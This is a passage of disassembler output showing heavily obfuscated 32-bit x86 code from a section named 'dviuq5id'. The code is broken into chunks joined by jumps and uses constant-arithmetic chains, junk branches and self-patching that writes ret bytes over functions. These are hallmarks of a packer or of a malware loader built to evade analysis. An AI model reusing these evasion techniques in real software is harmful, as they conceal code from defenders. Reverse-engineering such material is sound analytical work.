		mov	ecx, ebp
		pop	ebp
		xchg	esi, [esp+0]
		jmp	loc_449183
; END OF FUNCTION CHUNK	FOR sub_43D181
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ECF4

loc_444346:				; CODE XREF: sub_43ECF4:loc_4482A9j
		jnz	loc_4541AF
		jmp	loc_45268C
; END OF FUNCTION CHUNK	FOR sub_43ECF4

; =============== S U B	R O U T	I N E =======================================



sub_444351	proc near		; DATA XREF: sub_44E66D:loc_43E2E9o

; FUNCTION CHUNK AT 0043A712 SIZE 00000005 BYTES

		add	esi, 0CF71A77h
		mov	[esi], eax
		push	offset sub_440D6C
		jmp	loc_43A712
sub_444351	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45345A

loc_444363:				; CODE XREF: sub_45345A-9C49j
		xchg	edx, [esp+0]

loc_444366:				; CODE XREF: dviuq5id:loc_4563AAj
		mov	eax, edx
		push	ecx
		push	offset sub_45A1DF
		jmp	loc_453950
; END OF FUNCTION CHUNK	FOR sub_45345A
; ---------------------------------------------------------------------------

loc_444373:				; CODE XREF: dviuq5id:00444088j
		jbe	loc_43E550
; START	OF FUNCTION CHUNK FOR sub_440E99

loc_444379:				; CODE XREF: sub_440E99:loc_4425CEj
		xor	edx, 0CD69EF57h
		add	edx, 1C48550Ch
		xchg	edx, [esp+4+var_4]
		jmp	loc_44A2C2
; END OF FUNCTION CHUNK	FOR sub_440E99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A15A

loc_44438D:				; CODE XREF: sub_44A15A+F3C2j
		jnz	loc_44A31F
		jmp	loc_4441FE
; END OF FUNCTION CHUNK	FOR sub_44A15A
; ---------------------------------------------------------------------------

loc_444398:				; CODE XREF: dviuq5id:004563EBj
		jnp	loc_43A773

; =============== S U B	R O U T	I N E =======================================



sub_44439E	proc near		; CODE XREF: dviuq5id:0044B05Ap
		xchg	edx, [esp+0]
		pop	edx
		push	edx
		push	edx
		push	0B66A2A65h
		pop	edx
		jmp	loc_455311
sub_44439E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BB7A

loc_4443AF:				; CODE XREF: sub_43BB7A+Dj
		jz	loc_44F9D7
		jmp	loc_45055A
; END OF FUNCTION CHUNK	FOR sub_43BB7A
; ---------------------------------------------------------------------------
		xor	ebp, edx
		jmp	sub_43EB11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_4443C1:				; CODE XREF: sub_44646F:loc_4547ABj
		jnz	loc_453737
		jmp	loc_43CD6B
; END OF FUNCTION CHUNK	FOR sub_44646F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A133

loc_4443CC:				; CODE XREF: sub_44A133+14j
		jz	loc_44D6C3

loc_4443D2:				; CODE XREF: dviuq5id:0045599Bj
		jmp	loc_440DB1
; END OF FUNCTION CHUNK	FOR sub_44A133
; ---------------------------------------------------------------------------

loc_4443D7:				; CODE XREF: dviuq5id:00454C54j
		jmp	loc_45209F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C9A9

loc_4443DC:				; CODE XREF: sub_43C9A9+E006j
		jmp	nullsub_310
; END OF FUNCTION CHUNK	FOR sub_43C9A9
; ---------------------------------------------------------------------------
		shr	esi, 9
		jmp	loc_43F586
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_358. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458ABC

loc_4443EA:				; CODE XREF: sub_458ABC+Ej
		jmp	sub_454515
; END OF FUNCTION CHUNK	FOR sub_458ABC
; ---------------------------------------------------------------------------

loc_4443EF:				; CODE XREF: dviuq5id:0045730Ej
		jmp	sub_44A58C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_4443F4:				; CODE XREF: sub_440898+1406Aj
		jmp	loc_454655
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457EED

loc_4443F9:				; CODE XREF: sub_457EED-15210j
		jz	loc_441963
		jmp	loc_43CE39
; END OF FUNCTION CHUNK	FOR sub_457EED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CB39

loc_444404:				; CODE XREF: sub_44CB39+BE8Cj
		call	sub_4584FF
; END OF FUNCTION CHUNK	FOR sub_44CB39
; START	OF FUNCTION CHUNK FOR sub_45061D

loc_444409:				; CODE XREF: sub_45061D+15j
		jmp	nullsub_122
; END OF FUNCTION CHUNK	FOR sub_45061D

; =============== S U B	R O U T	I N E =======================================



sub_44440E	proc near		; DATA XREF: sub_4492F0+DFB0o

; FUNCTION CHUNK AT 00452D2C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004561CB SIZE 00000010 BYTES

		mov	eax, [esp+0]
		push	edx
		call	sub_43A201

loc_444417:				; CODE XREF: sub_443ECE:loc_45A615j
		shl	eax, 0Dh
		jmp	loc_452D2C
sub_44440E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh
		dd 0B7F284h, 0DE76E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_44442A:				; CODE XREF: sub_43FAE1+109BCj
		push	ecx
		push	15716698h
		pop	ecx
		sub	ecx, 940F3F74h

loc_444437:				; CODE XREF: sub_4574E7:loc_458DD9j
		jmp	loc_439D84
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_103. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44443D:				; CODE XREF: dviuq5id:00452D96j
		ror	edi, 1Dh

; =============== S U B	R O U T	I N E =======================================



sub_444440	proc near		; CODE XREF: dviuq5id:004564AFp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00446278 SIZE 00000005 BYTES

		xchg	eax, [esp+0]

loc_444443:				; CODE XREF: dviuq5id:0044B97Cj
		pop	eax
		xchg	esi, [esp-4+arg_0]
		jmp	loc_446278
sub_444440	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	eax, 1F1D4A60h
		jmp	loc_43F32B
; ---------------------------------------------------------------------------

loc_444456:				; DATA XREF: dviuq5id:loc_459999o
		mov	edx, 0A2CD59D9h
		call	sub_444466
		mov	ds:dword_446E04, eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444466	proc near		; CODE XREF: dviuq5id:0043A951p
					; dviuq5id:0044445Bp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043AD3C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043E278 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00442AC7 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00442C7D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044369B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445720 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00448841 SIZE 00000018 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_442AC7
sub_444466	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44446E	proc near		; DATA XREF: sub_451D52:loc_43A68Bo
		mov	ebp, esp
		call	sub_447ECD

loc_444475:				; CODE XREF: sub_440898+188C9j
		jmp	sub_459385
sub_44446E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1C4

loc_44447A:				; CODE XREF: sub_43B1C4+35B1j
		jmp	loc_455001
; END OF FUNCTION CHUNK	FOR sub_43B1C4
; ---------------------------------------------------------------------------

loc_44447F:				; DATA XREF: sub_44E255:loc_4539DFo
		xchg	eax, [esp]
		jmp	loc_4530BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_444487:				; CODE XREF: sub_43938B:loc_444972j
					; dviuq5id:00444987j
		and	eax, 32305414h
		add	eax, 15ECFEFDh
		add	eax, ebp
		add	eax, 0EA12B8F7h
		jmp	loc_43CD52
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_4444A0:				; CODE XREF: sub_43FAE1:loc_44D6F9j
		jz	loc_440A97
		jmp	loc_4504FA
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A160

loc_4444AB:				; CODE XREF: sub_43A160:loc_4482BFj
		js	loc_43A6F4
		jmp	loc_454761
; END OF FUNCTION CHUNK	FOR sub_43A160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C6B8

loc_4444B6:				; CODE XREF: sub_44C6B8-D5C8j
		jnz	loc_43A188

loc_4444BC:				; CODE XREF: dviuq5id:004570E4j
		jmp	loc_43E9A9
; END OF FUNCTION CHUNK	FOR sub_44C6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459E36

loc_4444C1:				; CODE XREF: sub_459E36-1F34Cj
		jmp	loc_4571C7
; END OF FUNCTION CHUNK	FOR sub_459E36
; ---------------------------------------------------------------------------
		push	0B067D4F7h
		xchg	esi, [ebp+0]
		and	edi, 0D66360B5h
		jmp	loc_4455F0
; ---------------------------------------------------------------------------
		jle	loc_43F45D
		jmp	sub_441E2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459F64

loc_4444E4:				; CODE XREF: sub_459F64:loc_452897j
		push	offset sub_44E255
		jmp	loc_439FDD
; END OF FUNCTION CHUNK	FOR sub_459F64

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4444EE	proc near		; CODE XREF: sub_44D9C6:loc_44E14Fj
		retn
sub_4444EE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F407

loc_4444EF:				; CODE XREF: sub_43F407+Aj
		jmp	loc_43BD4E
; END OF FUNCTION CHUNK	FOR sub_43F407
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4408FF

loc_4444F4:				; CODE XREF: sub_4408FF:loc_4399AAj
		jnz	loc_445D00
		jmp	loc_4460EA
; END OF FUNCTION CHUNK	FOR sub_4408FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447ECD

loc_4444FF:				; CODE XREF: sub_447ECD-10FAj
		jo	loc_458B6A
		jbe	loc_4489EA
		jmp	loc_456971
; END OF FUNCTION CHUNK	FOR sub_447ECD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_444510:				; CODE XREF: sub_459385-12E2j
		sub	esi, 7D32F1E9h
		jmp	loc_44EBF9
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443ECE

loc_44451B:				; CODE XREF: sub_443ECE:loc_441EA1j
		pop	edx
		or	edx, 2F83CD8h
		add	edx, 0D547423Bh
		xchg	edx, [esp+0]
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_443ECE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_444530:				; CODE XREF: sub_439C09:loc_43B469j
		sub	eax, 0F6AC8A33h
		rol	eax, 10h
		xor	eax, 2502F3F5h
		push	esi
		jmp	loc_454A6C
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F697

loc_444545:				; CODE XREF: sub_44F697:loc_45A48Cj
		mov	ebx, edx
		xchg	ebx, [esp+8+var_8]
		call	sub_4571A7
		mov	eax, 0EA3AEDBCh
		push	ecx
		push	25DCBBCEh
		pop	ecx
		xor	ecx, 4AC95A03h
		jmp	loc_43F07C
; END OF FUNCTION CHUNK	FOR sub_44F697
; ---------------------------------------------------------------------------
		mov	ds:dword_41D068, eax
		lea	eax, nullsub_11
		mov	byte ptr [eax],	0C3h
		jmp	loc_44A834
; ---------------------------------------------------------------------------
		call	nullsub_475
		jmp	ds:dword_41D06C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_444585:				; CODE XREF: sub_448FC7+10007j
		jmp	loc_4516A8
; END OF FUNCTION CHUNK	FOR sub_448FC7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_475. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		xor	al, 24h
		jmp	loc_4438F4
; ---------------------------------------------------------------------------

loc_444592:				; DATA XREF: sub_43CB4C+734Do
		pop	ecx
		sub	eax, 0C2490D53h
		rol	eax, 16h
		xor	eax, 21791698h
; START	OF FUNCTION CHUNK FOR sub_44E67F

loc_4445A2:				; CODE XREF: sub_44E67F:loc_452FBAj
		rol	eax, 1Dh
		push	ecx
		push	95436F7Bh
		pop	ecx
		jmp	loc_4486CF
; END OF FUNCTION CHUNK	FOR sub_44E67F
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	offset loc_439BF3
		jmp	locret_447D7B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AC1

loc_4445BE:				; CODE XREF: sub_443AC1+6j
		mov	eax, ds:dword_44FAFC
		or	eax, eax
		jnz	loc_44E728
		jmp	loc_440BF0
; END OF FUNCTION CHUNK	FOR sub_443AC1
; ---------------------------------------------------------------------------
		or	edx, edi
		jmp	loc_4539E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_4445D8:				; CODE XREF: sub_44EAC4:loc_4546F5j
		cdq
		jmp	loc_450958
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F76

loc_4445DE:				; CODE XREF: sub_441F76:loc_43A3CDj
		mov	eax, [ebp-4]
		call	sub_45509B
		call	sub_44C441

loc_4445EB:				; CODE XREF: sub_44FE62+7F62j
		jmp	loc_4528D5
; END OF FUNCTION CHUNK	FOR sub_441F76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45714A

loc_4445F0:				; CODE XREF: sub_45714A+1Cj
		mov	[ecx+0B8h], eax
		pop	ecx
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_45714A
; ---------------------------------------------------------------------------

loc_4445FA:				; CODE XREF: dviuq5id:00447A46j
		jmp	locret_455488
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45714A

loc_4445FF:				; CODE XREF: sub_45714Aj
		call	sub_4585FC
		jmp	sub_453C4F
; END OF FUNCTION CHUNK	FOR sub_45714A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445F35

loc_444609:				; CODE XREF: sub_445F35:loc_4453AAj
		js	loc_44D704
; END OF FUNCTION CHUNK	FOR sub_445F35

; =============== S U B	R O U T	I N E =======================================



sub_44460F	proc near		; CODE XREF: sub_44B2EA+Ap

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439D1E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BE10 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043BF92 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043C13B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E467 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043E917 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00441503 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00441552 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00441A91 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00442C2A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00444307 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004449E0 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00444A68 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00446092 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446957 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00447F40 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044C4BD SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0044DED6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044E9B1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00450766 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004508C7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00451B95 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004525A7 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00452D46 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004534CC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454603 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0045477B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00457A17 SIZE 00000005 BYTES

		xchg	esi, [esp+8+var_8]
		pop	esi
		sub	al, 99h
		jmp	loc_451B95
sub_44460F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456B31

loc_44461A:				; CODE XREF: sub_456B31-1128Fj
		jnp	loc_4428EB

loc_444620:				; CODE XREF: sub_456B31+1Bj
		xor	edx, 703B2B88h
		add	edx, 2C5DB797h
		mov	edx, [edx]
		or	edx, edx
		jmp	loc_43C3F1
; END OF FUNCTION CHUNK	FOR sub_456B31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450407

loc_444635:				; CODE XREF: sub_450407:loc_457C79j
		push	0F84286C9h
		pop	edi
		rol	edi, 13h
		add	edi, 968919EBh
		add	eax, edi
		pop	edi
		mov	edx, [esp-4+arg_0]
		push	eax
		jmp	loc_441C04
; END OF FUNCTION CHUNK	FOR sub_450407
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_444650:				; CODE XREF: sub_459385:loc_439DBEj
		xchg	ebx, [esp+0]
		jmp	loc_446BCB
; END OF FUNCTION CHUNK	FOR sub_459385
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_28. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B168

loc_444659:				; CODE XREF: sub_43B168+12j
		jmp	loc_4480C8
; END OF FUNCTION CHUNK	FOR sub_43B168
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4F8

loc_44465E:				; CODE XREF: sub_43F4F8:loc_43CB38j
		mov	edx, [edx]
		call	sub_4556AE
; END OF FUNCTION CHUNK	FOR sub_43F4F8
; START	OF FUNCTION CHUNK FOR sub_45799F

loc_444665:				; CODE XREF: sub_45799F+22j
		jmp	loc_4596F0
; END OF FUNCTION CHUNK	FOR sub_45799F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E0C

loc_44466A:				; CODE XREF: sub_439E0C+1013Ej
		jo	loc_44E814
		shr	ebx, 1Fh

loc_444673:				; CODE XREF: sub_439E0C:loc_4582ECj
		call	sub_446596
; END OF FUNCTION CHUNK	FOR sub_439E0C
; START	OF FUNCTION CHUNK FOR sub_454267

loc_444678:				; CODE XREF: sub_454267+9C4j
		jmp	loc_451C43
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_44467D:				; CODE XREF: sub_43CB4C:loc_450081j
		jnz	loc_43C602
		jmp	loc_449545
; END OF FUNCTION CHUNK	FOR sub_43CB4C

; =============== S U B	R O U T	I N E =======================================



sub_444688	proc near		; CODE XREF: dviuq5id:00439AD4j
					; sub_448800-405Bp

; FUNCTION CHUNK AT 0043CE80 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043D08F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00459EA8 SIZE 00000022 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	ebp
		mov	ebp, eax
		call	sub_456280

loc_444694:				; CODE XREF: sub_43B89D+17229j
		jmp	loc_459EA8
sub_444688	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451A79

loc_444699:				; CODE XREF: sub_451A79+D21j
		jmp	loc_44362F
; END OF FUNCTION CHUNK	FOR sub_451A79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_44469E:				; CODE XREF: sub_43FA59+17A3Fj
		sbb	edi, ebx

loc_4446A0:				; CODE XREF: sub_43BDC3:loc_4406B7j
		mov	eax, 0CFF9C25h
		call	sub_44A58C
		push	eax
		jmp	loc_442F75
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------

loc_4446B0:				; CODE XREF: dviuq5id:0043DCAFj
		jno	loc_439BB6

; =============== S U B	R O U T	I N E =======================================



sub_4446B6	proc near		; CODE XREF: sub_449485-4D85p

arg_0		= dword	ptr  4

		xchg	ecx, [esp+0]
		pop	ecx
		add	ebx, 48D9AA4Ah
		xchg	ebx, [esp-4+arg_0]
		jmp	sub_44A58C
sub_4446B6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4446C8:				; CODE XREF: dviuq5id:00451B3Dj
		sbb	esi, 495B1C0h
; START	OF FUNCTION CHUNK FOR sub_43F4F8

loc_4446CE:				; CODE XREF: sub_43F4F8:loc_451B2Bj
		and	edx, 356BCF5h
		add	edx, 0C49BCD19h
		add	edx, ebp
		add	edx, 3B620203h
		jmp	loc_43CB38
; END OF FUNCTION CHUNK	FOR sub_43F4F8

; =============== S U B	R O U T	I N E =======================================



sub_4446E7	proc near		; CODE XREF: dviuq5id:004485D0j
					; sub_458BA4:loc_44A69Dp

; FUNCTION CHUNK AT 004457DB SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	0
		push	offset loc_44C2C0
		jmp	loc_4457DB
sub_4446E7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449485

loc_4446F7:				; CODE XREF: sub_449485+13j
					; dviuq5id:0044FAA0j
		rol	ebx, 6
		or	ebx, 0B46B0715h
		call	sub_4446B6

loc_444705:				; CODE XREF: sub_4404D7:loc_44B8F9j
		jz	loc_450A90
		jmp	loc_44C670
; END OF FUNCTION CHUNK	FOR sub_449485
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450D5C

loc_444710:				; CODE XREF: sub_450D5C:loc_44E4ABj
		jnz	loc_4495B8
; END OF FUNCTION CHUNK	FOR sub_450D5C
; START	OF FUNCTION CHUNK FOR sub_44DFA2

loc_444716:				; CODE XREF: sub_44DFA2+Ej
		jmp	nullsub_95
; END OF FUNCTION CHUNK	FOR sub_44DFA2
; ---------------------------------------------------------------------------
		test	edx, ecx
		jmp	loc_44AC8F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_444722:				; CODE XREF: sub_43FA59+197E7j
		jnb	loc_43A23F
		xor	ecx, esi
		add	edi, 0EA96809Ah
		jmp	loc_44E547
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------

loc_444735:				; DATA XREF: sub_43EF1D+9o
		push	edx
		call	sub_457BD2
; START	OF FUNCTION CHUNK FOR sub_459E36

loc_44473B:				; CODE XREF: sub_459E36+3j
		jmp	loc_44498C
; END OF FUNCTION CHUNK	FOR sub_459E36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A813

loc_444740:				; CODE XREF: sub_43A813+9349j
		jmp	loc_43E162
; END OF FUNCTION CHUNK	FOR sub_43A813
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C2F6

loc_444745:				; CODE XREF: sub_44C2F6:loc_447AB7j
		pop	esi
		rol	eax, 14h
		or	eax, 48C9034h
		add	eax, 12574FEEh
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_43BBC7
		jmp	loc_44934F
; END OF FUNCTION CHUNK	FOR sub_44C2F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_444764:				; CODE XREF: sub_441DDA+81B2j
		add	ebx, 82FAC4E2h
		xchg	ebx, [esp+0]
		lea	eax, [ebp-10Ch]
		push	edi
		mov	edi, eax
		jmp	loc_439D55
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_44477B:				; CODE XREF: sub_446682+11EF8j
		jbe	loc_43FC3D
		sub	ebp, 0E8B437ACh
		or	ebp, edx
		cmp	ebp, eax
		jmp	loc_43FFFF
; END OF FUNCTION CHUNK	FOR sub_446682
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448800

loc_444790:				; CODE XREF: sub_448800:loc_45963Fj
		add	esi, 0BD419BFCh
		sub	eax, esi
		pop	esi
		ror	eax, 16h
		add	eax, 0A048392Dh
		mov	edx, [esp-4+arg_0]
		call	sub_444688

loc_4447AA:				; CODE XREF: sub_458527-94B7j
		jmp	locret_450A29
; END OF FUNCTION CHUNK	FOR sub_448800
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443ECE

loc_4447AF:				; CODE XREF: sub_443ECE-4F44j
		jmp	loc_45217E
; END OF FUNCTION CHUNK	FOR sub_443ECE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_516. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F83A

loc_4447B5:				; CODE XREF: sub_43F83A:loc_4571A2j
		xor	eax, 9C05A52Dh
		call	sub_453642
		mov	ds:off_41D1AC, eax
		lea	eax, sub_43F83A
		mov	byte ptr [eax],	0C3h
		jmp	loc_45936A
; ---------------------------------------------------------------------------

loc_4447D4:				; CODE XREF: sub_43F83Aj
		xchg	esi, [esp+0]
		mov	edx, esi
		pop	esi
		jmp	loc_43E0A6
; END OF FUNCTION CHUNK	FOR sub_43F83A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45288A

loc_4447DF:				; CODE XREF: sub_45288A:loc_449901j
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_43EE14
		or	eax, eax
		jnz	loc_459D23
		jmp	loc_449CCA
; END OF FUNCTION CHUNK	FOR sub_45288A
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, esi
		xchg	eax, [esp]
		push	0B206B86Dh
		xchg	edi, [esp]
		jmp	loc_442EBC
; ---------------------------------------------------------------------------

loc_444808:				; CODE XREF: dviuq5id:004450D9j
		jp	loc_439217

loc_44480E:				; CODE XREF: dviuq5id:loc_441084j
		mov	eax, [ebp-4]
		call	sub_4399BB
; START	OF FUNCTION CHUNK FOR sub_456002

loc_444816:				; CODE XREF: dviuq5id:0043A4BCj
					; sub_456002:loc_456014j
		jmp	loc_439C1F
; END OF FUNCTION CHUNK	FOR sub_456002
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_202. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_44481C:				; CODE XREF: sub_44B2EA+D833j
		jmp	loc_447E61
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------

loc_444821:				; CODE XREF: dviuq5id:loc_452E8Fj
		pop	esi
		mov	eax, [esp]
		push	edx
		push	eax
		push	0D1137980h
		pop	eax
		add	eax, 817AFA7Fh
		jmp	loc_43FCBA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_162. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451180

loc_444839:				; CODE XREF: sub_451180+Fj
		jmp	loc_44C39A
; END OF FUNCTION CHUNK	FOR sub_451180
; ---------------------------------------------------------------------------

loc_44483E:				; CODE XREF: dviuq5id:0045380Dj
		jnz	loc_445BC9
		jmp	loc_450DC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456253

loc_444849:				; CODE XREF: sub_456253:loc_43A7C2j
		call	sub_450407
; END OF FUNCTION CHUNK	FOR sub_456253
; START	OF FUNCTION CHUNK FOR sub_44142D

loc_44484E:				; CODE XREF: sub_44142D:loc_457664j
		xor	esi, ds:4000F0h
		and	esi, 9E3030E5h
		sub	esi, 0E60F6794h
		and	esi, 0BF94887Ch
		add	esi, 56337F81h
		xchg	esi, [esp-4+arg_0]
		jmp	loc_445638
; END OF FUNCTION CHUNK	FOR sub_44142D
; ---------------------------------------------------------------------------
		mov	eax, 0DA4431C0h
		push	edi
		push	0CB0E9F97h
		pop	edi
		sub	edi, 645D4DBDh
		jmp	loc_44E856
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
; START	OF FUNCTION CHUNK FOR sub_4404A6

loc_444891:				; CODE XREF: sub_4404A6:loc_43B81Ej
		xchg	esi, [esp-4+arg_0]
		push	edi
		mov	edi, edx
		jmp	loc_458220
; END OF FUNCTION CHUNK	FOR sub_4404A6
; ---------------------------------------------------------------------------

loc_44489C:				; CODE XREF: dviuq5id:00457A95j
		pop	eax
		rol	eax, 13h
		sub	eax, 97A6D1D8h
		and	eax, 4B897956h
		jmp	loc_4476C3
; ---------------------------------------------------------------------------
